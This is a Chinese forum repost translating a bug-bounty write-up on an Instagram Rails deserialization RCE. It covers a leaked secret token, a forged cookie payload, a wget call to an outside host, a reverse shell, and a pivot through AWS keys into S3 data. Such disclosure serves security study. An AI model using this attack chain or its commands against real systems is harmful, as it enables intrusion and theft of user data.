【老文】从反序列化漏洞到掌控帝国：百万美刀的Instagram漏洞

hades / 2018-03-13 10:30:20 / 浏览数 2444 渗透测试 渗透测试 顶(0) 踩(0)

原文地址：http://exfiltrated.com/research-Instagram-RCE.php

0x00 前言

2012年，Blloberg在Facebook白帽子奖励计划的网站上发表了一片著名的文章，文章中提到：“如果Facebook出了价值百万美刀的漏洞,我们也愿意照单全付”。在本文开始

0x01 绝佳线索

去年，我曾对Facebook的安全性进行过一些小的测试，也取得了一些成果，所以我对于深入测试Facebook的整体业务安全性有着十分浓厚的兴趣。发现这个漏洞其实也要

0x02 Ruby(Rails)远程命令执行

基于之前朋友的漏洞报告细节，我尝试着查找可以重置这个Ruby应用密码的漏洞。不过初步的测试效果并不理想，一般的登录页面并不接受数值“0”作为密码，而且我也不知

不过惊喜的是，我发现了这个应用在Github上面有源代码，在该项目的目录中，我发现了`secret_token.rb`中泄露了Rails的私钥。我第一反应是，Facebook的程序员不会
cookies，然后登陆后台了。我前面也提到CVE-2013-3221（http://ronin-ruby.github.io/blog/2013/01/28/new-rails-poc.html），这篇文章的作者指出，不仅仅cookie
Rails的反序列化漏洞，攻击者甚至可以直接构造远程代码执行攻击。

在尝试反序列化漏洞测试Instagram这个业务之前，我首先在本地进行了测试，我是用了下面这个测试框架：
https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md

结果出人意料的好，我成功在本地复现了漏洞。所以，我使用相同的步骤，结合刚刚在Github上的发现，我向Instagram的Sensu-Admin管理后台服务器发送了如下的cook

```
_sensu-admin_session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86O
```

通过精心构造的cookie，Instagram的服务器成功执行了我发送的代码，解密开来就是这样：

```
"wget http://exfiltrated.com/test-instagram"
```

所以，我建立了一个监听端口，然后上传了一个远程shell文件，结果如下：

成功让Instagram服务器执行了我发送的命令代码以后，我把该漏洞报告给了Facebook团队。我在报告中提到：

1. Facebook使用的“Sensu-Admin”服务使用了网络上公开的私钥
2. sensu.instagram.com正运行着Rails 3.X版本，该版本存在一个远程代码执行漏洞。

0x03 致命弱口令

其实，对于我来说，发现一个远程代码执行来说并不是什么大不了的激动人心的事情。但是我想确认一下，我是否还在Facebook漏洞奖励计划的范围内，于是我又去查看了

上一章提到，我虽然成功让Facebook的服务器执行了远程代码，获取了服务器的Shell，但是我并没有接触到该后台的UI界面。碰巧的是，Instagram的这个后台把管理用户
DB内，既然这样，手起刀落，我成功获取了该后台大约60个账户的用户名和密码。不过，很悲催的是，密码被加密了，我正在蛋疼如何解密这些数据呢，好消息就来了。我
的后台界面，截图留念：

因为Facebook极力反对在测试中可能对业务进行破坏的渗透行为，所以我就截图留念走人，顺手把这个作为新漏洞提交给了Facebook应急响应团队。

0x04 渗透内网

在我第一次的漏洞报告邮件中，我询问了Facebook团队是否能够获取渗透内网的授权。因为，这台Sensu-Admin服务器是跑在EC2上面的，在etc/host/文件夹内可以看到

不过，Facebook并不没有给我一个明确的答复。而且，他们在短时间内做出了响应，限制了外网对https://sensu.instagram.com
的访问。所以，到底渗透内网继续下去会有哪些收获，就永远成为一个谜团了。

0x05 金钥匙

其实渗透到现在这步，我对我之前整个渗透过程感到很满意了。我已经发现了三个确凿的Instagram漏洞，其中有两个我打包提交给了Facebook。当然，故事到这里并没有
`/etc/sensu/config.json`

这个配置文件中包含了数据库和其他一些服务的验证凭证。凭证包括一个Email账户和一堆Pagerduty key。当然，我把视线重点放在了同样在文件中列出的AWS key-pair上，我觉得这是下一个渗透突破点。

AWS
keys可以用作登录许多不同AWS业务的凭证，但我关注的重点是，这些keys能否用于登录亚马逊S3云存储服务，如果可以登录的话，就表示大量敏感数据可以被获取。在这

看到autoscale-kitchen两个单词时，我的第一反应是，这是一台开发服务器。我在服务器上找到了一个名■`autoscale-kitchen-latest.tar.gz`的服务安装配置文件，key-pair。

手起刀落，我使用刚刚找到的key-pair成功连接上了Instagram d的S3云存储服务，并且这次，我可以获取到每一个区块的具体内容！！

0x06 掌控帝国

有了浏览Instagram存储在亚马逊S3云存储服务上数据的权限后，我浏览下载了几个区块中的内容。

第二天，我开始查看从云存储服务上下载的数据，我发现这些数据中包含了用户上传的图片，发送的文字等内容。因为Facebook漏洞奖励计划对侵犯用户敏感数据的行为做

我使用AWS keypair从其他多个区块中获取了以下信息:

Instagram.com的统计数据，多个后台的源代码，当然更为劲爆的是，还有SSL证书和大量私钥，涉及`instagram.com`，`*.instagram.com`和Instagram在其他网络服务

于是，我再一次向Facebook提交了包含大大小小7个不同安全问题的报告，主要包括:

1. 通过AWS证书，任何未被授权的用户可以登录进入sensu管理系统
2. AWS存储区块存储着访问其他区块的证书，被用以提权攻击。
3. 敏感数据间没有做隔离，导致一个AWS keys就可以访问所有S3区块。
4. AWS keys可以被外网IP登录，如果攻击者完全有能力清除服务器日志，达到攻击后无法查找到具体攻击者的目的。

0x07 后记

最后，我想用一张思维导图总结一下我此次渗透进入Instagram帝国的过程:

其实整件事情的起因是，sensu.instagram.com的远程代码执行，从这个漏洞，我又发掘出了后台员工的弱口令。通过sensu.instagram.
com服务器上的配置文件，我又获取了AWS keypair，使用这keypair，我又从S3云存储服务器上读取到了EC2 AWS
keypair。使用这个keypair我读取到了instagram存储在S3云存储服务上的所有重要敏感数据。
整个渗透测试过程，暴露出了Facebook在安全体系建设上的大量缺陷，是我惊讶的是，在安全体系建设了这么多年以后，竟然还会出现许多低级的安全和规范问题。可见，

上一篇：配置Additional LSA ... 下一篇：【老文】渗透Hacking Team过程

1. 1 条回复


cc 2018-03-14 14:16:40

原文最精彩的部分是白帽子跟Facebook CSO撕逼的过程，没翻译可惜了

0 回复Ta

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板